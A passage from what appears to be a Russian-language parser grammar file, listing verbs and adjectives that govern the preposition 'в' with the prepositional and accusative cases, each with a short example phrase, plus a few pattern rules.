rus_verbs:снимать{}, // снимать в гардеробе
rus_verbs:сохранить{}, // сохранить в коллекции
rus_verbs:располагаться{}, // располагаться в отдельном кабинете
rus_verbs:сражаться{}, // сражаться в честном бою
rus_verbs:спускаться{}, // спускаться в батискафе
rus_verbs:уничтожить{}, // уничтожить в схроне
rus_verbs:изучить{}, // изучить в естественных условиях
rus_verbs:рождаться{}, // рождаться в муках
rus_verbs:пребывать{}, // пребывать в прострации
rus_verbs:прилететь{}, // прилететь в аэробусе
rus_verbs:догнать{}, // догнать в переулке
rus_verbs:изобразить{}, // изобразить в танце
rus_verbs:проехать{}, // проехать в легковушке
rus_verbs:убедить{}, // убедить в разумности
rus_verbs:приготовить{}, // приготовить в духовке
rus_verbs:собирать{}, // собирать в лесу
rus_verbs:поплыть{}, // поплыть в катере
rus_verbs:доверять{}, // доверять в управлении
rus_verbs:разобраться{}, // разобраться в законах
rus_verbs:ловить{}, // ловить в озере
rus_verbs:проесть{}, // проесть в куске металла отверстие
rus_verbs:спрятаться{}, // спрятаться в подвале
rus_verbs:провозгласить{}, // провозгласить в речи
rus_verbs:изложить{}, // изложить в своём выступлении
rus_verbs:замяться{}, // замяться в коридоре
rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях
rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна
rus_verbs:хранить{}, // хранить в шкатулке
rus_verbs:шутить{}, // шутить в классе
глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях
инфинитив:рассыпаться{ aux stress="рассып^аться" },
rus_verbs:чертить{}, // чертить в тетрадке
rus_verbs:отразиться{}, // отразиться в аттестате
rus_verbs:греть{}, // греть в микроволновке
rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса
rus_verbs:рассуждать{}, // Автор рассуждает в своей статье
rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда
rus_verbs:окружать{}, // окружать в лесу
rus_verbs:сопровождать{}, // сопровождать в операции
rus_verbs:заканчиваться{}, // заканчиваться в дороге
rus_verbs:поселиться{}, // поселиться в загородном доме
rus_verbs:охватывать{}, // охватывать в хронологии
rus_verbs:запеть{}, // запеть в кино
инфинитив:провозить{вид:несоверш}, // провозить в багаже
глагол:провозить{вид:несоверш},
rus_verbs:мочить{}, // мочить в сортире
rus_verbs:перевернуться{}, // перевернуться в полёте
rus_verbs:улететь{}, // улететь в теплые края
rus_verbs:сдержать{}, // сдержать в руках
rus_verbs:преследовать{}, // преследовать в любой другой стране
rus_verbs:драться{}, // драться в баре
rus_verbs:просидеть{}, // просидеть в классе
rus_verbs:убираться{}, // убираться в квартире
rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения
rus_verbs:пугать{}, // пугать в прессе
rus_verbs:отреагировать{}, // отреагировать в прессе
rus_verbs:проверять{}, // проверять в аппарате
rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив
rus_verbs:летать{}, // летать в комфортабельном частном самолёте
rus_verbs:толпиться{}, // толпиться в фойе
rus_verbs:плавать{}, // плавать в специальном костюме
rus_verbs:пробыть{}, // пробыть в воде слишком долго
rus_verbs:прикинуть{}, // прикинуть в уме
rus_verbs:застрять{}, // застрять в лифте
rus_verbs:метаться{}, // метаться в кровате
rus_verbs:сжечь{}, // сжечь в печке
rus_verbs:расслабиться{}, // расслабиться в ванной
rus_verbs:услыхать{}, // услыхать в автобусе
rus_verbs:удержать{}, // удержать в вертикальном положении
rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы
rus_verbs:рассмотреть{}, // рассмотреть в капле воды
rus_verbs:просмотреть{}, // просмотреть в браузере
rus_verbs:учесть{}, // учесть в планах
rus_verbs:уезжать{}, // уезжать в чьей-то машине
rus_verbs:похоронить{}, // похоронить в мерзлой земле
rus_verbs:растянуться{}, // растянуться в расслабленной позе
rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке
rus_verbs:гулять{}, // гулять в парке
rus_verbs:утонуть{}, // утонуть в реке
rus_verbs:зажать{}, // зажать в медвежьих объятиях
rus_verbs:усомниться{}, // усомниться в объективности
rus_verbs:танцевать{}, // танцевать в спортзале
rus_verbs:проноситься{}, // проноситься в голове
rus_verbs:трудиться{}, // трудиться в кооперативе
глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке
инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный },
rus_verbs:сушить{}, // сушить в сушильном шкафу
rus_verbs:зашевелиться{}, // зашевелиться в траве
rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке
rus_verbs:промелькнуть{}, // промелькнуть в окне
rus_verbs:поучаствовать{}, // поучаствовать в обсуждении
rus_verbs:закрыть{}, // закрыть в комнате
rus_verbs:запирать{}, // запирать в комнате
rus_verbs:закрывать{}, // закрывать в доме
rus_verbs:заблокировать{}, // заблокировать в доме
rus_verbs:зацвести{}, // В садах зацвела сирень
rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу.
rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе
rus_verbs:стоять{}, // войска, стоявшие в Риме
rus_verbs:закалить{}, // ветераны, закаленные в боях
rus_verbs:выступать{}, // пришлось выступать в тюрьме.
rus_verbs:выступить{}, // пришлось выступить в тюрьме.
rus_verbs:закопошиться{}, // Мыши закопошились в траве
rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре
rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре
rus_verbs:закрываться{}, // закрываться в комнате
rus_verbs:провалиться{}, // провалиться в прокате
деепричастие:авторизируясь{ вид:несоверш },
глагол:авторизироваться{ вид:несоверш },
инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе
rus_verbs:существовать{}, // существовать в вакууме
деепричастие:находясь{},
прилагательное:находившийся{},
прилагательное:находящийся{},
глагол:находиться{ вид:несоверш },
инфинитив:находиться{ вид:несоверш }, // находиться в вакууме
rus_verbs:регистрировать{}, // регистрировать в инспекции
глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш },
инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции
rus_verbs:поковыряться{}, // поковыряться в носу
rus_verbs:оттаять{}, // оттаять в кипятке
rus_verbs:распинаться{}, // распинаться в проклятиях
rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России
rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе
rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения.
прилагательное:несчастный{}, // Он очень несчастен в семейной жизни.
rus_verbs:объясниться{}, // Он объяснился в любви.
прилагательное:нетвердый{}, // Он нетвёрд в истории.
rus_verbs:заниматься{}, // Он занимается в читальном зале.
rus_verbs:вращаться{}, // Он вращается в учёных кругах.
прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне.
rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры.
rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения.
rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев.
rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия
rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях.
rus_verbs:продолжать{}, // Продолжайте в том же духе.
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:болтать{}, // Не болтай в присутствии начальника!
rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника!
rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей
rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию
rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине.
rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах
rus_verbs:сходиться{}, // Все дороги сходятся в Москве
rus_verbs:убирать{}, // убирать в комнате
rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста
rus_verbs:уединяться{}, // уединяться в пустыне
rus_verbs:уживаться{}, // уживаться в одном коллективе
rus_verbs:укорять{}, // укорять друга в забывчивости
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы
rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем
rus_verbs:работать{}, // Я работаю в театре.
rus_verbs:признать{}, // Я признал в нём старого друга.
rus_verbs:преподавать{}, // Я преподаю в университете.
rus_verbs:понимать{}, // Я плохо понимаю в живописи.
rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах
rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа
rus_verbs:замереть{}, // вся толпа замерла в восхищении
rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле.
rus_verbs:идти{}, // Я иду в неопределённом направлении.
rus_verbs:заболеть{}, // Я заболел в дороге.
rus_verbs:ехать{}, // Я еду в автобусе
rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю.
rus_verbs:провести{}, // Юные годы он провёл в Италии.
rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти.
rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении.
rus_verbs:произойти{}, // Это произошло в одном городе в Японии.
rus_verbs:привидеться{}, // Это мне привиделось во сне.
rus_verbs:держаться{}, // Это дело держится в большом секрете.
rus_verbs:привиться{}, // Это выражение не привилось в русском языке.
rus_verbs:восстановиться{}, // Эти писатели восстановились в правах.
rus_verbs:быть{}, // Эта книга есть в любом книжном магазине.
прилагательное:популярный{}, // Эта идея очень популярна в массах.
rus_verbs:шуметь{}, // Шумит в голове.
rus_verbs:остаться{}, // Шляпа осталась в поезде.
rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях.
rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе.
rus_verbs:пересохнуть{}, // У меня в горле пересохло.
rus_verbs:щекотать{}, // У меня в горле щекочет.
rus_verbs:колоть{}, // У меня в боку колет.
прилагательное:свежий{}, // Событие ещё свежо в памяти.
rus_verbs:собрать{}, // Соберите всех учеников во дворе.
rus_verbs:белеть{}, // Снег белеет в горах.
rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте?
rus_verbs:таять{}, // Сахар тает в кипятке.
rus_verbs:жать{}, // Сапог жмёт в подъёме.
rus_verbs:возиться{}, // Ребята возятся в углу.
rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме.
rus_verbs:кружиться{}, // Они кружились в вальсе.
rus_verbs:выставлять{}, // Они выставляют его в смешном виде.
rus_verbs:бывать{}, // Она часто бывает в обществе.
rus_verbs:петь{}, // Она поёт в опере.
rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях.
rus_verbs:валяться{}, // Вещи валялись в беспорядке.
rus_verbs:пройти{}, // Весь день прошёл в беготне.
rus_verbs:продавать{}, // В этом магазине продают обувь.
rus_verbs:заключаться{}, // В этом заключается вся сущность.
rus_verbs:звенеть{}, // В ушах звенит.
rus_verbs:проступить{}, // В тумане проступили очертания корабля.
rus_verbs:бить{}, // В саду бьёт фонтан.
rus_verbs:проскользнуть{}, // В речи проскользнул упрёк.
rus_verbs:оставить{}, // Не оставь товарища в опасности.
rus_verbs:прогулять{}, // Мы прогуляли час в парке.
rus_verbs:перебить{}, // Мы перебили врагов в бою.
rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице.
rus_verbs:видеть{}, // Он многое видел в жизни.
// глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере.
rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах.
rus_verbs:кинуть{}, // Он кинул меня в беде.
rus_verbs:приходить{}, // Приходи в сентябре
rus_verbs:воскрешать{}, // воскрешать в памяти
rus_verbs:соединять{}, // соединять в себе
rus_verbs:разбираться{}, // умение разбираться в вещах
rus_verbs:делать{}, // В её комнате делали обыск.
rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина.
rus_verbs:начаться{}, // В деревне начались полевые работы.
rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль.
rus_verbs:вертеться{}, // В голове вертится вчерашний разговор.
rus_verbs:веять{}, // В воздухе веет прохладой.
rus_verbs:висеть{}, // В воздухе висит зной.
rus_verbs:носиться{}, // В воздухе носятся комары.
rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее
rus_verbs:воскресить{}, // воскресить в памяти
rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне
rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина
прилагательное:уверенный{ причастие }, // Она уверена в своих силах.
прилагательное:постоянный{}, // Она постоянна во вкусах.
прилагательное:сильный{}, // Он не силён в математике.
прилагательное:повинный{}, // Он не повинен в этом.
прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары
rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории
прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве.
rus_verbs:сесть{}, // Она села в тени
rus_verbs:заливаться{}, // в нашем парке заливаются соловьи
rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло
rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени
// rus_verbs:расти{}, // дерево, растущее в лесу
rus_verbs:происходить{}, // что происходит в поликлиннике
rus_verbs:спать{}, // кто спит в моей кровати
rus_verbs:мыть{}, // мыть машину в саду
ГЛ_ИНФ(царить), // В воздухе царило безмолвие
ГЛ_ИНФ(мести), // мести в прихожей пол
ГЛ_ИНФ(прятать), // прятать в яме
ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне.
// ГЛ_ИНФ(собраться), // собраться в порту
ГЛ_ИНФ(случиться), // что-то случилось в больнице
ГЛ_ИНФ(зажечься), // в небе зажглись звёзды
ГЛ_ИНФ(купить), // купи молока в магазине
прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР
}
// Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } }
then return true
}
// С локативом:
// собраться в порту
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } }
then return true
}
#endregion Предложный
#region Винительный
// Для глаголов движения с выраженным направлением действия может присоединяться
// предложный паттерн с винительным падежом.
wordentry_set Гл_В_Вин =
{
rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок.
глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе.
глагол:ввергать{},
инфинитив:ввергнуть{},
инфинитив:ввергать{},
rus_verbs:двинуться{}, // Двинулись в путь и мы.
rus_verbs:сплавать{}, // Сплавать в Россию!
rus_verbs:уложиться{}, // Уложиться в воскресенье.
rus_verbs:спешить{}, // Спешите в Лондон
rus_verbs:кинуть{}, // Киньте в море.
rus_verbs:проситься{}, // Просилась в Никарагуа.
rus_verbs:притопать{}, // Притопал в Будапешт.
rus_verbs:скататься{}, // Скатался в Красноярск.
rus_verbs:соскользнуть{}, // Соскользнул в пике.
rus_verbs:соскальзывать{},
rus_verbs:играть{}, // Играл в дутье.
глагол:айда{}, // Айда в каморы.
rus_verbs:отзывать{}, // Отзывали в Москву...
rus_verbs:сообщаться{}, // Сообщается в Лондон.
rus_verbs:вдуматься{}, // Вдумайтесь в них.
rus_verbs:проехать{}, // Проехать в Лунево...
rus_verbs:спрыгивать{}, // Спрыгиваем в него.
rus_verbs:верить{}, // Верю в вас!
rus_verbs:прибыть{}, // Прибыл в Подмосковье.
rus_verbs:переходить{}, // Переходите в школу.
rus_verbs:доложить{}, // Доложили в Москву.
rus_verbs:подаваться{}, // Подаваться в Россию?
rus_verbs:спрыгнуть{}, // Спрыгнул в него.
rus_verbs:вывезти{}, // Вывезли в Китай.
rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю.
rus_verbs:пропихнуть{},
rus_verbs:транспортироваться{},
rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения
rus_verbs:дуть{},
rus_verbs:БОГАТЕТЬ{}, //
rus_verbs:РАЗБОГАТЕТЬ{}, //
rus_verbs:ВОЗРАСТАТЬ{}, //
rus_verbs:ВОЗРАСТИ{}, //
rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ)
rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ)
rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ)
rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ)
rus_verbs:ЗАМАНИВАТЬ{},
rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ)
rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ)
rus_verbs:ВРУБАТЬСЯ{},
rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ)
rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ)
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ)
rus_verbs:ЗАХВАТЫВАТЬ{},
rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ)
rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ)
rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ)
rus_verbs:ПОСТРОИТЬСЯ{},
rus_verbs:ВЫСТРОИТЬСЯ{},
rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ)
rus_verbs:ВЫПУСКАТЬ{},
rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ)
rus_verbs:ВЦЕПИТЬСЯ{},
rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ)
rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ)
rus_verbs:ОТСТУПАТЬ{},
rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ)
rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ)
rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ)
rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ)
rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ)
rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин)
rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ)
rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ)
rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ)
rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ)
rus_verbs:СЖИМАТЬСЯ{},
rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение
rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ)
rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ)
rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ)
rus_verbs:ПОКРАСИТЬ{}, //
rus_verbs:ПЕРЕКРАСИТЬ{}, //
rus_verbs:ОКРАСИТЬ{}, //
rus_verbs:ЗАКРАСИТЬ{}, //
rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ)
rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ)
rus_verbs:СТЯНУТЬ{}, //
rus_verbs:ЗАТЯНУТЬ{}, //
rus_verbs:ВТЯНУТЬ{}, //
rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ)
деепричастие:придя{}, // Немного придя в себя
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ)
rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ)
rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ)
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ)
rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ)
rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку
rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин)
rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин)
rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин)
rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин)
rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин)
rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин)
rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин)
rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В)
rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В)
rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В)
rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В)
rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин)
rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В)
rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В)
rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин)
rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В)
rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В)
rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В)
rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В)
rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В)
rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В)
rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В)
rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В)
rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В)
rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны.
rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В)
rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям.
rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В)
rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в)
rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В)
rus_verbs:валить{}, // валить все в одну кучу (валить в)
rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в)
rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в)
rus_verbs:клониться{}, // он клонился в сторону (клониться в)
rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в)
rus_verbs:запасть{}, // Эти слова запали мне в душу.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:ездить{}, // Каждый день грузовик ездит в город.
rus_verbs:претвориться{}, // Замысел претворился в жизнь.
rus_verbs:разойтись{}, // Они разошлись в разные стороны.
rus_verbs:выйти{}, // Охотник вышел в поле с ружьём.
rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом.
rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны
rus_verbs:переодеваться{}, // переодеваться в женское платье
rus_verbs:перерастать{}, // перерастать в массовые беспорядки
rus_verbs:завязываться{}, // завязываться в узел
rus_verbs:похватать{}, // похватать в руки
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:помещать{}, // помещать в изолятор
rus_verbs:зыркнуть{}, // зыркнуть в окошко
rus_verbs:закатать{}, // закатать в асфальт
rus_verbs:усаживаться{}, // усаживаться в кресло
rus_verbs:загонять{}, // загонять в сарай
rus_verbs:подбрасывать{}, // подбрасывать в воздух
rus_verbs:телеграфировать{}, // телеграфировать в центр
rus_verbs:вязать{}, // вязать в стопы
rus_verbs:подлить{}, // подлить в огонь
rus_verbs:заполучить{}, // заполучить в распоряжение
rus_verbs:подогнать{}, // подогнать в док
rus_verbs:ломиться{}, // ломиться в открытую дверь
rus_verbs:переправить{}, // переправить в деревню
rus_verbs:затягиваться{}, // затягиваться в трубу
rus_verbs:разлетаться{}, // разлетаться в стороны
rus_verbs:кланяться{}, // кланяться в ножки
rus_verbs:устремляться{}, // устремляться в открытое море
rus_verbs:переместиться{}, // переместиться в другую аудиторию
rus_verbs:ложить{}, // ложить в ящик
rus_verbs:отвозить{}, // отвозить в аэропорт
rus_verbs:напрашиваться{}, // напрашиваться в гости
rus_verbs:напроситься{}, // напроситься в гости
rus_verbs:нагрянуть{}, // нагрянуть в гости
rus_verbs:заворачивать{}, // заворачивать в фольгу
rus_verbs:заковать{}, // заковать в кандалы
rus_verbs:свезти{}, // свезти в сарай
rus_verbs:притащиться{}, // притащиться в дом
